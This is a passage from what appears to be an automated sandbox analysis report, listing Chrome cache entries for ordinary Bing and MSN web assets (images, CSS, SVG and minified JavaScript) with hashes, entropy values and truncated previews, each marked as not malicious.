i?event?event.fromElement:null:n.relatedTarget}function a(n){return i?event?event.toElement:null:n.relatedTarget}function v(n,t,i){while(n&&n!=(i\|\|document.body)){if(n==t)return!0;n=n.p

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	308
Entropy (8bit):	6.593727490677001
Encrypted:	false
SSDEEP:	6:6v/lhPk+nD1v427BaK+V1dv340ikehD09kEKBtUsu87sCLQKpRVp:6v/7sG1vU1l3PehASTYstSKpR7
MD5:	BDA49766E2E7E028EF09D0E34988ECDF
SHA1:	73FED2C00C224AA0DF89397EC41488D63975C882
SHA-256:	5CBDA906C7DB6D50C7E200D73841A7BB7404BCFF1B3C9121AA5BC79DBC608B9A
SHA-512:	2292945B9F53D495B9845CDE7FDDDC6890EDBF00262314691BDC609D81DD6521AD3BB687766A2291077A1848EF49BD04A430C96503EB3254DAD6E932963C9ABD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....D......9PLTEGpL.n..n..p..n..n..m..p..p..n..o..o..n..o..n..o..n..n..n...T....tRNS... ..@.................IDAT8.....0.D.gZ.....5..x.t.YM...r(.....)...O-._.R..r#...[O.o..e.\......(...h..}...h.=.?_Q...#..Iu!o6.u.-....W.0......aT..Ai...........A?.~..t.q....V......IEND.B`.

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 134 x 64, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7098
Entropy (8bit):	7.963448464945032
Encrypted:	false
SSDEEP:	192:ufN2ocRINkQ3svBEH89YSrFURQHfcVUJNxT5:S2/RINkJEH8CSnHfcVuNxT5
MD5:	4A383357BBED3EAB2C029C65EA7E0EC7
SHA1:	DE4AFA2A8680F24928B380046C7BBDBF081D74B9
SHA-256:	E18024807E12EA1A423342AB772A766DEF724D4DEB32F2D5FC60EC3B28066212
SHA-512:	FCA44DE73890342AFC1A27C158E836DBF100FF254B1FCFEDDC1CEDFA68B7DD90CC655BD5C59D84C884C05E19CB22EBC795603EBAED803DC95CDACCC8091868C0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......@.............PLTE..............................6..{\|........`a`][bba..}gw.iz..&mtm...........H.zo........ .b...}..B+....?.B,......]..\|...,{..l.._...7?B......y&...j.....VB..Q...PPK...[`..z....~j.....C..4.a[.F...[.6+.....i.u`.._..T.._.z..j....$..._e...?...f.....h.........nU9.......o...hhB)...zV.....~++(... ,%i....0...V?w.+7.Rq.}..b8.eVy.W.l..a.....3.lCEFqxB......}..w.>f.L.....Z...?{.T..`...,FT.V..,<8.i?.p......+Z....s.Y..j.....Yg....d.........oQ}^.fq...SSS...<... .y@...g....ikk.~.~}.<...787...i._[,.{B.z.g....4..W.n?:.\.....u.....p+.~y......+.q+.z......3;.D.AEP..2.s.)'..$m.y..~'.p.n.'Z.'....=_O~..B.V.GZ......M.le........8.X>M?\ySW.S...".oG\.r.Q.~@...9.r...&c.U...O....e$;.z..T.....p.B.w@8.S[...w..~-l.m..v.i......ASs....uIDATh.}y.\|T........}7.>7.'..q. .+..F.1^.~.....:F.u..Z..I3.H.R.`........*N..KZ.5!l;..Y..t.;...nl.T...s'....L.g....=..=...............>.[..c.........3..^pz8.G..?c=..g.3.,..

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	42542
Entropy (8bit):	7.952215096890445
Encrypted:	false
SSDEEP:	768:eWYDgdMvhtzFNqffm2q02V1suov+1EVAI1p70H0u3NlpFn+bOfakZ2AJB9u:exwKjFN0+TDzsNKI1pc73Nd+bOfJ1Lu
MD5:	51755E7FA1750D904429FF4B400985B8
SHA1:	8D003634B855806244599FFB2EE0719ABB1E8C1C
SHA-256:	B42AD88FB77D27B9B645753FB84985DDC82793783379AF6807636BABB94BA199
SHA-512:	DA7903FCB8404ABF71C09A5DC540328BC19FA49ADC3C1AA43CCAAC362923B9A12C5C9475B30763876F8AD22B8606CFAB6DF4247C1963769A676F836D4165F979
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..q.A.AZ....5.T.t;...r@.b?W8...i.?0_.8..~.H....c.yP.....#.Z....1..'+$...~....qS+...n..o.<k...[.xnmwS......$D..]w..x.J.. >...}].+..<9.i...].4Xa.8?....c......[f..`..f...o...-...(...sE..5...L......-,-f....8.].....l..x..7.e[.c..\|..].?.5.M.O..Yo.i.g.....pk.GP77...2.....U....'.br.Z.PQ.6..}4k.g....u..4.{.....b?...r....iW_f.4.9;...O.....R.k...WX.t.Z.k.N.+.Y..E

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/t6Bkpkzq5ckAnvfW2PY7kNOTPJ0.js
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3596), with no line terminators
Category:	downloaded
Size (bytes):	3596
Entropy (8bit):	5.2939962074462805
Encrypted:	false
SSDEEP:	96:Ldz+BIRGjYmysS9pdsgKy0IFzy0TXlQvjlXJDSQhB6DxYv2ayNJes:LdSBIxmysS9DEyTFzyYXOjlXJDdGYuay
MD5:	7658C31C6AF408FF6C9F01B507B41C7C
SHA1:	C77922DE59099D8545A7C4D4B9AA46B2675B31D0
SHA-256:	145832FE4C30FFCDD88EACF2A42B3C894FD21A6CD15AC3CAD867AEA578EE3A70
SHA-512:	7B83581D551F875C0F88E4B5D4CBC7F60EA7EB6AD675F9C7EBA935714017BC1430A32641B2D74C275C102144DC1AC8BE5C80E91A6F9162B9ABC4C29D8DE1B6DF
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/sa/41714962/Blue/BlueIdentityDropdownRedirect_c.js
Preview:	var Identity=Identity\|\|{};Identity.headerAuthenticate=function(n,t){Identity.headerLoginMode!=0&&Identity.popupAuthenticate(n,"","EXPLICIT_P")\|\|(_w.location.href=t)},function(){function h(n,t,i){if(n&&t){var r=n.className;i?r.indexOf(t)==-1&&(r=r.concat(" ",t)):r=r.replace(t,"");n.className=r}}function g(n){for(var i,r,u,e,o=n.getElementsByTagName("script"),f=[],t=0;t<o.length;t++)f.push(o[t]);for(t=0;t<f.length;t++){for(i=f[t],r=document.createElement("script"),u=0;u<i.attributes.length;u++)e=i.attributes[u],r.setAttribute(e.name,e.value);r.appendChild(document.createTextNode(i.innerHTML));i.parentNode.replaceChild(r,i)}}function ut(n){n[1]!=="login"&&w(!1)}var u=_ge("id_h"),f=_ge("id_l"),t=_ge("id_d"),e,r=!1,c=!1,l=Identity.hdrClk,i=sj_gx(),a=!1,b="keyup",o="click",s="touchstart",v="focusChange",y=function(){var u,s,f,h;if(!r){r=!0;var v=t.getAttribute("_iid"),o="",n="testhooks=1";location.href.indexOf(n)>0&&(o="&"+n);u="";s="loginmode=1";Identity.headerLoginMode==1&&(u="&"+s);f="";n

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (26218)
Category:	downloaded
Size (bytes):	142570
Entropy (8bit):	5.462990367527485
Encrypted:	false
SSDEEP:	3072:IEtaLL0yN4ydBPGqePZQTCnjdd7YhUlazo9:IEtaLL0yN4ydBPGqePZQTsh9
MD5:	E96BEF1E036BF31975B5B2FD42C2F88C
SHA1:	83AA58A1D9FD51D521A2068799017BE65CCAB27F
SHA-256:	9C88F7FB48EEDCAFABE7820FEF8F539DA8619FE7575D1248219F8B29F90EAC23
SHA-512:	88F27B76F1DEEA7436324CAFA86C2D46388A3F88E7941AD5604DAC3B463577D45ED0FB4C6E8A6B3EB7BB30D525DE59F0B0F510853B8B35BF9D8595A93A73A9D1
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/web-components_traffic-card_dist_index_js.e9e81366e8b3dd2305a9.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_traffic-card_dist_index_js"],{51603:function(e,t,i){"use strict";i.r(t),i.d(t,{TrafficCard:function(){return s.JX},maxSummaryItemsPerPage:function(){return s.My},msftTrafficCard:function(){return Ks},msftTrafficCommuteSettingPage:function(){return Be},msftTrafficImg:function(){return Me},msftTrafficToast:function(){return Qe},msftTransitImagePageSupersd:function(){return re},msftTransitLineItemsSupersd:function(){return M},msftTransitLinesPageSupersd:function(){return Y},msftTransitLocationsPageSupersd:function(){return z},msftTransitToastPageSupersd:function(){return ee},trafficCardStyles:function(){return Gs}});var s=i(1067),a=i(33940),o=i(67093),r=i(99452),n=i(42590),l=i(28904);class c extends l.H{constructor(){super(...arguments),this.transitData={},this.showHomeLocationSuggests=!1,this.showWorkLocationSuggests=!1,this.isSaveButtonDisabled=!0,this.isUserMsa=!1,this.h

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	3791
Entropy (8bit):	7.08266375441937
Encrypted:	false
SSDEEP:	96:6lg111b8TUEfN/R5Cx2ftlv8Zkj81vPZsYf:0g11u5FR5CUtlkZPRKY
MD5:	299A479A2F7F1F30D09545CA8CC5D162
SHA1:	871F9E79AD73AAD0B3E0AD1B5B6B87FE837B16CE
SHA-256:	B314EAD01E8E89C964273418BB1117D24DFE01E4838E7A1B46FA19F64699AF05
SHA-512:	9D8DA9F1247D5D097E8AAAB4346AADE12E2BC74D6F9446760A5A3A45D9C2D48782D456CE05AC6FD2F0572CD26A562F2D0E4C55048FDAEC138F398A715743437D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/hx-eea1zqtCz4K0bW2uH_oN7Fs4.jpg
Preview:	......JFIF.....H.H......Exif..II*...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ .........7.,acspMSFT...................................-lcms................................................desc... ...@cprt...`...6wtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...4...$dmnd...X...$dmdd...\|...$mluc............enUS...$.....G.I.M.P. .b.u.i.l.t.-.i.n. .s.R.G.Bmluc............enUS.........P.u.b.l.i.c. .D.o.m.a.i.n..XYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T\|..L.......&g...\mluc............enUS.........G.I.M.Pmluc............enUS.........s.R.G.B...C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (610), with no line terminators
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	4.975238914969193
Encrypted:	false
SSDEEP:	12:iggpIYa1gjMPRuQR6uqTARSASBI4AM1mAu0AkgO3AiDMvTAD0xpmDOZH:IIbR6uqTARSnBP3EH0lgCmvTAS061
MD5:	F8A63D56887D438392803B9F90B4C119
SHA1:	993BD8B5EB0DB6170EA2B61B39F89FAD9BFEB5B5
SHA-256:	EF156B16FDCF73F670E7D402D4E7980F6558609A39195729F7A144F2D7329BF3
SHA-512:	26770BB2AC11B8B0AEF15A4027AF60A9C337FE2C69D79FDDAA41ACFD13CAC70096509B43DC733324932246C93475A701FD76A16675C8645E0EC91BD38D81C69D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/mTvYtesNthcOorYbOfifrZv-tbU.css
Preview:	#bepfo{background-color:#fff !important;color:#444 !important;z-index:10}#bepfo.b_hide{display:none !important}#bepfo.darkMode{background-color:#11100f !important;color:#edebe9 !important}#bepfo #bepfm{max-width:320px;overflow:hidden;box-sizing:border-box;border-radius:4px}.popup{transform:scale(0);transform-origin:center top;animation-name:autoOpenPopup;animation-duration:300ms;animation-delay:200ms;animation-timing-function:linear;animation-fill-mode:forwards}@keyframes autoOpenPopup{0%{transform:scale(0)}30%{transform:scale(.3)}50%{transform:scale(.5)}80%{transform:scale(.8)}100%{transform:scale(1)}}

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.823026368208832
Encrypted:	false
SSDEEP:	24:HT6dqM6k3TmLSX6pFeM0qktTpWaVL1uRSRBBttYI:zikk3TmmXTMs3X11IUrtYI
MD5:	AB2E0819CC088708332E3517688B91BF
SHA1:	5E668D10CF2D4CBC2162E63D0C7A4291110116BE
SHA-256:	28EB75E660BBF8B979C339EAEC8410151288B0E799F3E306A3A25FB09136B457
SHA-512:	AA358F3EF6DDC4F05EE48D8100B723C4F652666DBD1E9A30A79646D7B76C537189CFFCF23B0DDC4C2781ADB710F2C94287063A05B912E4045FC5100F9B098139
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.U.Oh\E..?3....v.....6..H........Cs.. ".J..R."A.bm..(UT....AD!.".D.......&..n.......73..\|..H....$...0Jip..../...kQ,......x..:.......w.Z...,.~TO/..M...v.e........&..S.{...Cd.?L..q..?J~.07^....0.3-T.Px....2..7....!:.e.....d.....4fz.....c.y...S.v.M.....:.S'..;..mQ..J5.....v..Q.^.....Q...h..5t.$...Z....u:..6.GN`f.r.L......q.<.).H...o...i.8.~.....C.].....p.5.F4O..VVH...cs.]B]..D..&1.._0?MQ8.......S....J..%.t............ ...,.E....N~I8r;.7........S..[.0....DRn.....H...B..=}.....<F.{.}=.r.C...xP.i...0L..\F...[..Z-.x.=.2Cf.>..~.82..6.+...>9,...r......_Hoo. .[.J....c.]!.7Brq...Q..> YX.{RP^BNEy.zM.~.=(..".QG...v.l...c{...}.Wm.2.W...W...k...N..y....d..1...L:.^...gBl.........>O.......5<....)..O....Ks..f..x(O..yU...0?d~...0........a...D_rY..J.....A...GW....IEND.B`...............................................................................................................................

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/lvCKZ07bEYtoYmY62ifMzVa0RIE.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:59:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.........................................................................................h......................E..T..r..D........@..H.F&....`5.e.%...."..U@C.r.e...5.-.`4".[.`.1C.$)..pZ.".;. .(..w...x.f..sU[....Y..<.:...b..=+.........n\.b)sv/4^`-.kN.;.v..X....Z......#_...N.....j..4.\......T..,.....B..&..L....^LcJ.KA.=....!iEY...!N....Z.:.d.i..F..d...sP.w=<..59]O..u.?..3...]i....F...C.X...[M..z..<...k..rL.UYr.jz.@ sTf..D8,5.+..<jWr..oL...<H.k;.A I.k)...'.y.j.uZ.,4......(.\HH.ByC..1.jt.X...Z.......w......`.v.TZ.M.f.J.}.F.e..Te.-N@S...+.].\..u-9..Xg .B.[M.$..'.ry....Zf...CV.D...S...65 `mH@#.j[.y."...r ).5.B\.o...B...Ee..Q@....,..)..u#..i.j.jAsT...[J.c_...'.....................

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1716
Entropy (8bit):	4.823026368208832
Encrypted:	false
SSDEEP:	24:HT6dqM6k3TmLSX6pFeM0qktTpWaVL1uRSRBBttYI:zikk3TmmXTMs3X11IUrtYI
MD5:	AB2E0819CC088708332E3517688B91BF
SHA1:	5E668D10CF2D4CBC2162E63D0C7A4291110116BE
SHA-256:	28EB75E660BBF8B979C339EAEC8410151288B0E799F3E306A3A25FB09136B457
SHA-512:	AA358F3EF6DDC4F05EE48D8100B723C4F652666DBD1E9A30A79646D7B76C537189CFFCF23B0DDC4C2781ADB710F2C94287063A05B912E4045FC5100F9B098139
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.U.Oh\E..?3....v.....6..H........Cs.. ".J..R."A.bm..(UT....AD!.".D.......&..n.......73..\|..H....$...0Jip..../...kQ,......x..:.......w.Z...,.~TO/..M...v.e........&..S.{...Cd.?L..q..?J~.07^....0.3-T.Px....2..7....!:.e.....d.....4fz.....c.y...S.v.M.....:.S'..;..mQ..J5.....v..Q.^.....Q...h..5t.$...Z....u:..6.GN`f.r.L......q.<.).H...o...i.8.~.....C.].....p.5.F4O..VVH...cs.]B]..D..&1.._0?MQ8.......S....J..%.t............ ...,.E....N~I8r;.7........S..[.0....DRn.....H...B..=}.....<F.{.}=.r.C...xP.i...0L..\F...[..Z-.x.=.2Cf.>..~.82..6.+...>9,...r......_Hoo. .[.J....c.]!.7Brq...Q..> YX.{RP^BNEy.zM.~.=(..".QG...v.l...c{...}.Wm.2.W...W...k...N..y....d..1...L:.^...gBl.........>O.......5<....)..O....Ks..f..x(O..yU...0?d~...0........a...D_rY..J.....A...GW....IEND.B`...............................................................................................................................

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29136), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	48402
Entropy (8bit):	5.486314833495584
Encrypted:	false
SSDEEP:	768:KkuL2ym/YIZE2u16tNz14nOIqV7y9O7JUDWvjygz+YIdQFSO4FWCPPZPzAT8SjF2:D3+9SjyJ1FWCpPwONifi
MD5:	C06093B4A0F38901EC1EC8DB18B2313C
SHA1:	FF4041F654592443C028908966BE805A6C71B35E
SHA-256:	D57A4EF3DB5CA737FA3897B210DA0E37F5650E30289DDEAC1868CCB3EF18F0A4
SHA-512:	317A6A13D0951434DA814EE166A2F0CEE4819A29A8F5B5E8C81B0E264F22D4640A0FF42821F87F5E56BE9AA920CF9B7D278C73206F67DCD783BC3EA52AF8108E
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=AA47B589CFE34CA4B24C291FA31E6A04&
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	469
Entropy (8bit):	4.629787805928795
Encrypted:	false
SSDEEP:	12:trrzSuoUAMHYJzB3zik04HS0u0fzgOOqiN75qAMP:tfzScAM4JzFukJNu07gVN7I/
MD5:	472185A4E75B520DC563EF944EA414D1
SHA1:	ABCF5A6CC96DE0FC06C3E61B524CEA7B179797DB
SHA-256:	5BEC0E52B149217FBFB5973B131F98012BFF1FEE2A9B1C5B37F1DC01A0011265
SHA-512:	0FB5E92715C722B81DE7EA34CCDEE65FD56BB4BF9FB2C1D5D255BCB6AC82C33B1B9AFA34E980FB6067C16E99C88A35C56D51345DE36A99B020F349E9F17F1D59
Malicious:	false
Reputation:	unknown
Preview:	<svg width="7" height="12" viewBox="0 0 7 12" class="weather-arrow-glyph" xmlns="http://www.w3.org/2000/svg">.. <path d="M0.528512 0.861886C0.268165 1.12224 0.268165 1.54435 0.528512 1.8047L4.72379 5.99996L0.528512 10.1952C0.268165 10.4556 0.268165 10.8777 0.528512 11.138C0.788865 11.3984 1.21097 11.3984 1.47133 11.138L6.13799 6.47136C6.39832 6.21103 6.39832 5.78889 6.13799 5.52856L1.47133 0.861886C1.21097 0.601539 0.788865 0.601539 0.528512 0.861886Z"/>..</svg>..

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37078), with no line terminators
Category:	downloaded
Size (bytes):	37078
Entropy (8bit):	5.525741908495419
Encrypted:	false
SSDEEP:	768:6jiIrpgi31lUc4jzmU6Yfl75Ql+HCmEOO8gBNppA23/H8tQJ1CN9MQWt3/piVX5V:6PF31SUCp5u+0vctMxbMVX52w
MD5:	3296F64A7A2BF91E144553E17654643B
SHA1:	639B0F05038C69CFC21AD55CE92B92C71B9BB8BA
SHA-256:	4DE9E2C37234DA98C8BE5F282084E5603918A287602DF7F75AF3F1BCF825781F
SHA-512:	45DB48942642ADC0E9D50C5CFDCC2CB44F8E2245F2248F5FBE7CD38C405D35A0F678446D31845A35136333C1B9D16112799D08BFCAC28CAA7D60039C04BC5EC6
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/Y5sPBQOMac_CGtVc6SuSxxubuLo.js
Preview:	!function(){const noop=()=>{},optionsScript=document.querySelector("script[type=esms-options]"),esmsInitOptions=optionsScript?JSON.parse(optionsScript.innerHTML):{};Object.assign(esmsInitOptions,self.esmsInitOptions\|\|{});let shimMode=!!esmsInitOptions.shimMode;const importHook=globalHook(shimMode&&esmsInitOptions.onimport),resolveHook=globalHook(shimMode&&esmsInitOptions.resolve);let fetchHook=esmsInitOptions.fetch?globalHook(esmsInitOptions.fetch):fetch;const metaHook=esmsInitOptions.meta?globalHook(shimModule&&esmsInitOptions.meta):noop,skip=esmsInitOptions.skip?new RegExp(esmsInitOptions.skip):null;let nonce=esmsInitOptions.nonce;const mapOverrides=esmsInitOptions.mapOverrides;if(!nonce){const nonceElement=document.querySelector("script[nonce]");nonceElement&&(nonce=nonceElement.nonce\|\|nonceElement.getAttribute("nonce"))}const onerror=globalHook(esmsInitOptions.onerror\|\|noop),onpolyfill=esmsInitOptions.onpolyfill?globalHook(esmsInitOptions.onpolyfill):()=>console.info("OK: ^ TypeErr

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (328), with no line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.873055432724158
Encrypted:	false
SSDEEP:	6:qLYyKBrT1rDvMhkXkJGf9FM/fwT0EqeGXGQW4RiXUqkvJOyEFnVQE4MDUKOKHsM:yWFBb3yG3cJO1Vi5rgsM
MD5:	CDDDAB121EB434876615391AD4107B9A
SHA1:	8038444C80B8E76DDF8AE5C00AB5784207E5AEFF
SHA-256:	243D212A9FF764CCDA9B19C3C823B2F408A0718E56A3E7A8B5B533E108DB56CB
SHA-512:	1964D190BF10B9D686626097188B6D0B2A02C0039993D97A135355D8A44399DED3D42465D1EDC7B55287AA9380835373FD921C00CF92CE234CCE92B0C2453084
Malicious:	false
Reputation:	unknown
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t){t.isAuthenticated&&n.raiseAuthEventAndLog(t)}function i(n){n&&n.length==2&&t(n[1])}n.bindToConditionalSignIn=function(){sj_evt.bind("ssofirstquery",function(n){return i(n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6045
Entropy (8bit):	7.92160570015199
Encrypted:	false
SSDEEP:	96:8zgEpu9DiamTn5V+eddM6ynOL2bViNDvs0HnIfZR+:ygEu9D0TneeddM6yOL2oNI0HnIn+
MD5:	E8ED8A28378E8F0AF02EA8C7D6F981BE
SHA1:	44BBE8FA4B341E9B4AA5DAE194303060907DCA81
SHA-256:	D5B76CE92AC8817725830F102B36D07FCAF6A723CCA55729A773644B5428EF85
SHA-512:	41D7F07CBED84344FE7A6AE6835A84F3A6671A07C0326D10640537C1647098DB7102C6E07FAE53D91204953B39F1752F07592844ACD0CAD3DB02E2E09CE80ABA
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_BI8x7MQaki0sFZsB0weO3g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..O....\.4.T.....7......O....w......wp.8.Y....Ab.........-.V...t...kw.,..4.......A:....0TV;.6p:..._We.dh8.E3...#.dn.#.+{.~8.....[.)e..........&...7Ok<s.........h.Y?./...a.8.q....J...Aj..Vz..m+...'...*YH.....}sO\|..D..W.+.i.>n~..#w.pT.R.:....{..>..?{d...<...Nndc..\|......T_.I..(A..S .Dc_2)`.GB85.6...i.ay.^\.#nX&..T....J.X6...(......{..&@.y5.os...D...G..%..

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	34378
Entropy (8bit):	7.970622899567605
Encrypted:	false
SSDEEP:	768:eJMSO+lnaEO5gOiosLEpzqDqag2i0dgXsySUV:eI+aEyMo5uDJuigXiUV
MD5:	69E7CA22E5B7A8B2B0FEC6F355ABBD3E
SHA1:	2D1E2856988456EEAAA78A66E77CEADA986F832D
SHA-256:	5F1338BCE7F311271704B361430589304FC71BB366122221959E888A6F6ED3FF
